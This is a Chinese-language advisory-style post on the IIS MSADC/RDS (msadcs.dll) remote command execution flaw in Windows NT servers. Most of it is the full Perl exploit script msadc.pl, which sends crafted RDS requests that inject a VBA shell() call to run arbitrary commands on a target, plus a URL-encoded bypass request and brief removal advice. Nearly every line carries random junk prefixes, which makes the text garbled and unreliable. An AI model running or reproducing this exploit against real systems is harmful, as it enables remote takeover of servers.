IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
d_[ zt) 4y)6 !p 涉及程序：
t ,EMyZ Microsoft NT server
: t
D`e< wgQx.8 h> 描述：
do.XMdit 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
%xX b5aY fG@]G9Z 详细：
i\>?b)a> 如果你没有时间读详细内容的话，就删除:
bdBLfWe c:\Program Files\Common Files\System\Msadc\msadcs.dll
2/))Y\~
有关的安全问题就没有了。
<pFbm Fbw.Y 6 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
DRVvC~M-, +}g6X6m 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
*]Eyf") 关于利用ODBC远程漏洞的描述，请参看:
Lu71Qdu09 D4{<~/oBv http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm wF-H{C' B;<zA' 1 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Xa g#ZT http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;6=*E ' S""F58 H n 这里不再论述。
9
H>J S R$2\Xl@qQF 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
1_mqP Mm AgOti]`aR /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
( Kw%fJT 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
+WCV"m .07k G] AI$\wp #aw #将下面这段保存为txt文件，然后: "perl -x 文件名"
-;YhQxxC}L BtF7P}:MGf #!perl
mW3 IR3 b #
ka$la;e3 # MSADC/RDS 'usage' (aka exploit) script
HC$}KoZkC #
; YrmT9Jx6 # by rain.forest.puppy
/vLW{ % #
C5TC@ w1* # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Hr(%y&0 # beta test and find errors!
&8JK^zQq p-6T,' ) use Socket; use Getopt::Std;
2}9M7Z",2 getopts("e:vd:h:XR", \%args);
A ? [Wfq| (I#3![q print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
QRdh2YH` EuKkIr/( if (!defined $args{h} && !defined $args{R}) {
=GC,1WVEqV print qq~
xQxq33\ Usage: msadc.pl -h <host> { -d <delay> -X -v }
r rs0|= -h <host> = host you want to scan (ip or domain)
nR,QqIFFw -d <seconds> = delay between calls, default 1 second
>UXN R` ? -X = dump Index Server path table, if available
WS\Ir-B -v = verbose
15kkf~Z <t -e = external dictionary file for step 5
q]Af I( #?DoP]1Y Or a -R will resume a command session
CE|rn8MB :;w#l"e7< ~; exit;}
~Vf
A ,H K-mAH $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
,b t
j6hg if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
RVh{wg if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
2I_~] X53[ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
UYhxgPGsj $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
=tc!"{ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
2CV? cm 2k^'}7G% if (!defined $args{R}){ $ret = &has_msadc;
D/Py?<n -B die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
pzeCdHF g Cx#&aXS print "Please type the NT commandline you want to run (cmd /c assumed):\n"
{n(/ c3 3 . "cmd /c ";
Q6xA@"GJ $in=<STDIN>; chomp $in;
f8)fm2^09 $command="cmd /c " . $in ;
JgBC:t^\pV '%y;{,g* if (defined $args{R}) {&load; exit;}
m"wP]OQH*+ N t\ ZM print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
`7R-2
w<b? &try_btcustmr;
4u#TKr. eU8p;ajW!L print "\nStep 2: Trying to make our own DSN...";
^ U~QQ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
d-T pY*v \t)`Cp6,[b print "\nStep 3: Trying known DSNs...";
z#2n +hwE &known_dsn;
$CZ'[` + mp
z3o\n print "\nStep 4: Trying known .mdbs...";
0B:
v0 R &known_mdb;
%Rk DR \J;_%-Z if (defined $args{e}){
L[!||5y print "\nStep 5: Trying dictionary of DSN names...";
q} W} ) &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
"<LWz&e^^ BAtjYPX'w print "Sorry Charley...maybe next time?\n";
/@I`V?Q!a exit;
J X{_,2*$ =nqHVRA ##############################################################################
.br6x ^\< [v`k qL~ sub sendraw { # ripped and modded from whisker
{(I":rt# sleep($delay); # it's a DoS on the server! At least on mine...
Eihn%Esa my ($pstr)=@_;
Pb sx jP socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
tS- gaT`T die("Socket problems\n");
!s : e if(connect(S,pack "SnA4x8",2,80,$target)){
;%;||?'v select(S); $|=1;
n~.$ iN print $pstr; my @in=<S>;
SmIcqM select(STDOUT); close(S);
Z B`d&! W> return @in;
Je}0KW3G9L } else { die("Can't connect...\n"); }}
E;[Uhh|78! p}<60O"r$ ##############################################################################
wE}Wh5 _W^;a sub make_header { # make the HTTP request
5JHEBw5W% my $msadc=<<EOT
{`,)<R>} POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Gr#3GvL User-Agent: ACTIVEDATA
!F.h+&^D; Host: $ip
{Wu[e, p Content-Length: $clen
5{Q9n{dOh Connection: Keep-Alive
8 KYI Hw hS&l4 \I'Z ADCClientVersion:01.06
gY8$Rk
% Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
_54gqD2C,
kw
E2V+2 --!ADM!ROX!YOUR!WORLD!
6|~^P!& Content-Type: application/x-varg
hidQO h Content-Length: $reqlen
v?Utz~lQ dvU{U@:sz EOT
Q$v00z]f* ; $msadc=~s/\n/\r\n/g;
b $J S| return $msadc;}
bwH[rT!n zRou~Kxi ##############################################################################
l o(C3o' G!;PV^6x sub make_req { # make the RDS request
F"UI=7:o my ($switch, $p1, $p2)=@_;
&N._}ts my $req=""; my $t1, $t2, $query, $dsn;
J=t}9.H~= -Ep# q&\ if ($switch==1){ # this is the btcustmr.mdb query
W\NC3] $query="Select * from Customers where City=" . make_shell();
".N+nM~ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
v"W*@7<`S $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
zQG{j\ V~ORb1 elsif ($switch==2){ # this is general make table query
^'0N%`bY! $query="create table AZZ (B int, C varchar(10))";
S#?2E8 $dsn="$p1";}
\yC /OLXq f!`? _ elsif ($switch==3){ # this is general exploit table query
dGn 0-l' q $query="select * from AZZ where C=" . make_shell();
Dzf\m>H[ $dsn="$p1";}
Rd5_{F D2kmBZ3 elsif ($switch==4){ # attempt to hork file info from index server
Z )M
"`2Ur $query="select path from scope()";
?' z/S5&j $dsn="Provider=MSIDXS;";}
BB\ GrD [Hx(a.,d elsif ($switch==5){ # bad query
k#Sr; " $query="select";
nOvR, 6 $dsn="$p1";}
d \l{tmte jDpA>{O[ $t1= make_unicode($query);
Cl<! S` $t2= make_unicode($dsn);
{pIh/0 $req = "\x02\x00\x03\x00";
<1 l% | $req.= "\x08\x00" . pack ("S1", length($t1));
in<.0v9w $req.= "\x00\x00" . $t1 ;
,3Q~X$f $req.= "\x08\x00" . pack ("S1", length($t2));
A- T-4I $req.= "\x00\x00" . $t2 ;
qBX_v5pvVA $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
!SW0iq[7j return $req;}
RI&O@?+U =J Ice LL ##############################################################################
@6>Q&G Yqt qqf`z,u sub make_shell { # this makes the shell() statement
/D HgwpJ return "'|shell(\"$command\")|'";}
BZ?3= S1* pqb'L ] ##############################################################################
$qQYxx@ {x_.QWe5 sub make_unicode { # quick little function to convert to unicode
w Wb>V&3 my ($in)=@_; my $out;
6+IhI?lI= for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
I.jqC2G return $out;}
=# Sw.N z_ $c_J ##############################################################################
UJI2L-;Ul E{u6< B* sub rdo_success { # checks for RDO return success (this is kludge)
LU MbRrD- my (@in) = @_; my $base=content_start(@in);
:S0! if($in[$base]=~/multipart\/mixed/){
=#V ^t$ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
P[
:_"4U return 0;}
&L+uu',M0c iQgg[
) ##############################################################################
PR.3EL DO*U7V02 sub make_dsn { # this makes a DSN for us
^~YT<cJ1h my @drives=("c","d","e","f");
2Cz h aO print "\nMaking DSN: ";
0hemXvv1 foreach $drive (@drives) {
P } sr print "$drive: ";
{JgY-#R?{( my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
t >\sP "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
G tI )O} . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
`pfIgryns $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
'E _~ |C return 0 if $2 eq "404"; # not found/doesn't exist
k XSX<b <% if($2 eq "200") {
YZg#H) w% foreach $line (@results) {
4nsJZo#S/ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
e2O6q05 ?Q } return 0;}
$d?W1D<A ,QcS[9$ ##############################################################################
qiNVaV\wr| K;R H,o1 sub verify_exists {
%\m"Yi] my ($page)=@_;
p~$cwbQ! my @results=sendraw("GET $page HTTP/1.0\n\n");
DzAZv/h76 return $results[0];}
!T`oHs xLW$>;kI ##############################################################################
Huev D y4 u:l-qD9=( sub try_btcustmr {
$'J3
/C7 my @drives=("c","d","e","f");
+=3=% %?C my @dirs=("winnt","winnt35","winnt351","win","windows");
CvoFt=c$jE }| Ds pO foreach $dir (@dirs) {
'C[tPP print "$dir -> "; # fun status so you can see progress
!zA@{gvEc foreach $drive (@drives) {
} s~c(sL?; print "$drive: "; # ditto
|6E_N5~ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
< 3;p>4gN $reqlenlen=length( "$reqlen" );
C~ 1] $clen= 206 + $reqlenlen + $reqlen;
Pyo|Sgk \ 2\{c1df my @results=sendraw(make_header() . make_req(1,$drive,$dir));
uz8LF47@:- if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
FZHA19Kb else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
IO%kXF.[ jeC=s~ ##############################################################################
=XP[3~ R/vHq36d sub odbc_error {
HlGSt$woX my (@in)=@_; my $base;
$^]K6 11w9 my $base = content_start(@in);
2Rk}ovtD[ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
{&51@ UX $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~YYnn7) $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
vF72#BNs $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'cD?0ou`o return $in[$base+4].$in[$base+5].$in[$base+6];}
T c WC r print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
&hOz(825r print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
4 PK } lc $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
qRt! kWW ={BD*= i ##############################################################################
$Z]&3VxxY D-gH_ff<]9 sub verbose {
4#$# x=: my ($in)=@_;
o<G 9t6~ return if !$verbose;
K`4lL5oH print STDOUT "\n$in\n";}
a|ufm^ F wI%M3XaBws ##############################################################################
i^s Vy = xI;D,@S sub save {
fLDrit4_Q my ($p1, $p2, $p3, $p4)=@_;
9[0iIT$q$ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
v3-/ [-XB: print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
feej'l }F close OUT;}
y JA~4 a'J0}j! ##############################################################################
vm [lMx n$i X6Cd sub load {
hkMeUxS my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
q
W(@p` open(IN,"<rds.save") || die("Couldn't open rds.save\n");
iU)I"#\l'k @p=<IN>; close(IN);
f|d~=\0y $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
\6b~$\~B $target= inet_aton($ip) || die("inet_aton problems");
]Ry9{: print "Resuming to $ip ...";
1/DtF $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
.;? Bni if($p[1]==1) {
@C;1e 7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
SuE~Wb 5 & $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
"hIYf7r## my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
g4?2'G5m? if (rdo_success(@results)){print "Success!\n";}
bLc5$U$!I else { print "failed\n"; verbose(odbc_error(@results));}}
bvox7V> elsif ($p[1]==3){
ipSMmpB if(run_query("$p[3]")){
s QDgNJbU print "Success!\n";} else { print "failed\n"; }}
jPh<VVQ$@ elsif ($p[1]==4){
;UdM8+^/V] if(run_query($drvst . "$p[3]")){
MO`Y&<g~A print "Success!\n"; } else { print "failed\n"; }}
r%,?uim# exit;}
h RkCB Y >x{ [er ##############################################################################
t@%w:*& rj4@ sub create_table {
3",gjXmBu my ($in)=@_;
Q):#6|u+ $reqlen=length( make_req(2,$in,"") ) - 28;
6N/(cUXJ $reqlenlen=length( "$reqlen" );
sY ]J!" $clen= 206 + $reqlenlen + $reqlen;
(,Y[2_ Zv my @results=sendraw(make_header() . make_req(2,$in,""));
3.&BhLT return 1 if rdo_success(@results);
GS;GJsAs my $temp= odbc_error(@results); verbose($temp);
.$U,bE return 1 if $temp=~/Table 'AZZ' already exists/;
q"d9C)Md return 0;}
[gW eD *xnZTj: ##############################################################################
Ycr3$n]e Az t rq sub known_dsn {
_){ |/Zd # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
%ZVYgt k;* my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
9q;O`& "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
@Q1!xA^S "banner", "banners", "ads", "ADCDemo", "ADCTest");
%i9S" (UkP AE foreach $dSn (@dsns) {
e! u]l print ".";
2Kxb(q" next if (!is_access("DSN=$dSn"));
Ah2@sp,z if(create_table("DSN=$dSn")){
d`sZ" 8}j print "$dSn successful\n";
9o@3$ if(run_query("DSN=$dSn")){
J( 1Tl print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
w2B)$u print "Something's borked. Use verbose next time\n";}}} print "\n";}
C: E f6ZW `>"#d
?, ##############################################################################
geQ!}zXWi {"o9pIh{~ sub is_access {
_c>iux; my ($in)=@_;
oW~ W(h ! $reqlen=length( make_req(5,$in,"") ) - 28;
Ca-"3aQkc $reqlenlen=length( "$reqlen" );
W8W7< ml0A $clen= 206 + $reqlenlen + $reqlen;
=, XCjiBeC my @results=sendraw(make_header() . make_req(5,$in,""));
EjP;P}_iK my $temp= odbc_error(@results);
eW H0zswG verbose($temp); return 1 if ($temp=~/Microsoft Access/);
yP58H{hQM8 return 0;}
rPk|2l,E,3 c>bns/f ##############################################################################
D]~K-[V?l #:6- O sub run_query {
kpgvAKyx my ($in)=@_;
D||0c"E $reqlen=length( make_req(3,$in,"") ) - 28;
(cj9xROx $reqlenlen=length( "$reqlen" );
p4T$(]7 $clen= 206 + $reqlenlen + $reqlen;
Q<sqlh!h my @results=sendraw(make_header() . make_req(3,$in,""));
':.Hz]]/A return 1 if rdo_success(@results);
a>j}@8[J my $temp= odbc_error(@results); verbose($temp);
}geb959 return 0;}
YZ~MByu \[9VeqMU ##############################################################################
Y"FV#<9@7E A-Ba %Fv sub known_mdb {
[Uup5+MCv my @drives=("c","d","e","f","g");
hQ#e;1uD my @dirs=("winnt","winnt35","winnt351","win","windows");
3?o 4 my $dir, $drive, $mdb;
_=g&^_ #t my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
qO{z{@jo55 '/O:@P5qY # this is sparse, because I don't know of many
~b_DFj my @sysmdbs=( "\\catroot\\icatalog.mdb",
FJvY`zqB "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
\HG f!zZ "\\system32\\certmdb.mdb",
?L<B]!9HZt "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
tF;0P\i B&cIx~+ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
W9SU1{*9 "\\cfusion\\cfapps\\forums\\forums_.mdb",
DI\=udN "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Ph3;;,v ' "\\cfusion\\cfapps\\security\\realm_.mdb",
Xs2}n^#i "\\cfusion\\cfapps\\security\\data\\realm.mdb",
[c{\el9H "\\cfusion\\database\\cfexamples.mdb",
W
)FxN, "\\cfusion\\database\\cfsnippets.mdb",
]N'3jf`W "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
"2 mPWRItO "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
ImN'o4vo "\\cfusion\\brighttiger\\database\\cleam.mdb",
r!R-3LO0s "\\cfusion\\database\\smpolicy.mdb",
4aO/ ^Hl "\\cfusion\\database\cypress.mdb",
!q\8`ss "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
QFP9"FM5F "\\website\\cgi-win\\dbsample.mdb",
P&0eu "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
fo ~uI(rk "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Gxw1P@<F: ); #these are just
c}(H*VY2n foreach $drive (@drives) {
U3_${ foreach $dir (@dirs){
$toTMah
w foreach $mdb (@sysmdbs) {
$d*9]M4 print ".";
'rB% a< if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
x;~:p;]J2F print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
NzgG7 7 > if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
]PS`"o,pF$ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
G*9(O: } else { print "Something's borked. Use verbose next time\n"; }}}}}
[xqV`(vM c!IZLaVAr9 foreach $drive (@drives) {
bWTf P8gT foreach $mdb (@mdbs) {
=F+v+zP7P print ".";
?tLApy^`? if(create_table($drv . $drive . $dir . $mdb)){
*2h%dT:,% print "\n" . $drive . $dir . $mdb . " successful\n";
OjGI
! if(run_query($drv . $drive . $dir . $mdb)){
L-|l$Ti" print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Z|t=t"6" } else { print "Something's borked. Use verbose next time\n"; }}}}
)ce 6~ }
gH//@`6 81Z;hO" ~ ##############################################################################
ep6+YK:cn z$J m1l sub hork_idx {
fl-J:`zyyZ print "\nAttempting to dump Index Server tables...\n";
-`faXFW ' print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
3m>YR-n$ $reqlen=length( make_req(4,"","") ) - 28;
_w KwiJs $reqlenlen=length( "$reqlen" );
|0[Buh[_:c $clen= 206 + $reqlenlen + $reqlen;
Uj5-x%~ my @results=sendraw2(make_header() . make_req(4,"",""));
H~FI@Cf$L if (rdo_success(@results)){
gK h*q. my $max=@results; my $c; my %d;
Wk[a|> for($c=19; $c<$max; $c++){
!+SL=x y!{ $results[$c]=~s/\x00//g;
Lap?L/NS $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
^*AI19w!Ys $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
I # tlaz# $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
[QnN 1k $d{"$1$2"}="";}
Em!- W5 *s foreach $c (keys %d){ print "$c\n"; }
& 'u|^d } else {print "Index server doesn't seem to be installed.\n"; }}
):K % Vukb vBWPN ##############################################################################
9VW/Af Cfi4~ & sub dsn_dict {
~:Rbd9IB open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Q+Bl1xl while(<IN>){
xUn"X khP $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
"WKOlfPa next if (!is_access("DSN=$dSn"));
] hT\"5&6 if(create_table("DSN=$dSn")){
TdPd8ig8{ print "$dSn successful\n";
"1,*6(;: if(run_query("DSN=$dSn")){
#aX#gh}1
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
FxlH;'+Q print "Something's borked. Use verbose next time\n";}}}
"lt <$. print "\n"; close(IN);}
as@8L|i* ~|" Vl<9 ##############################################################################
54p{J X( tx8~z sub sendraw2 { # ripped and modded from whisker
Ts.2\ -+3 sleep($delay); # it's a DoS on the server! At least on mine...
7L
#)yY my ($pstr)=@_;
5M=U *BI socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#]d m/WzY die("Socket problems\n");
Jh.~]\u if(connect(S,pack "SnA4x8",2,80,$target)){
d dgDq0N1j print "Connected. Getting data";
OkC.e')Vx open(OUT,">raw.out"); my @in;
qiet<F select(S); $|=1; print $pstr;
8oE` >Y while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
dy+A$)gY< close(OUT); select(STDOUT); close(S); return @in;
-Mr_Ao`E } else { die("Can't connect...\n"); }}
|pHlBzHj GFT@Pqq ##############################################################################
0m3hL~0(a 7> f2P!: sub content_start { # this will take in the server headers
N7s0Ua'-v my (@in)=@_; my $c;
` +YtTK for ($c=1;$c<500;$c++) {
+=/j+S` if($in[$c] =~/^\x0d\x0a/){
\HB
fM& if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
/rpr_Xw} else { return $c+1; }}}
`!c dxKLR return -1;} # it should never get here actually
1{M?_~g 4 4
Y=0>FlY0 ##############################################################################
r]Hrz'C` $*eYiz3Ue sub funky {
~+{*KPiD my (@in)=@_; my $error=odbc_error(@in);
N&G'i.w/ if($error=~/ADO could not find the specified provider/){
hwM<0Jf print "\nServer returned an ADO miscofiguration message\nAborting.\n";
o1#3A exit;}
*m]Y6 if($error=~/A Handler is required/){
+7%?p"gEY\ print "\nServer has custom handler filters (they most likely are patched)\n";
Y*@7/2, exit;}
v9H
t~\> if($error=~/specified Handler has denied Access/){
mW]dhY 3X print "\nServer has custom handler filters (they most likely are patched)\n";
xp1/@Pw? exit;}}
jUE:QOfRib S$SCW<LuN ##############################################################################
2W0nA t ?8 $`GyjS sub has_msadc {
+F NGRL my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
DSH vBFQ my $base=content_start(@results);
jS]Sa qd return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
7W}%ralkg return 0;}
{*bx8* y1 \X\< +KU ########################
*i*\ dl A'CD,R+gR ]+` K\G ^X 解决方案：
mKtMI!FR 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
TAh'u|{u2 2、移除web 目录: /msadc
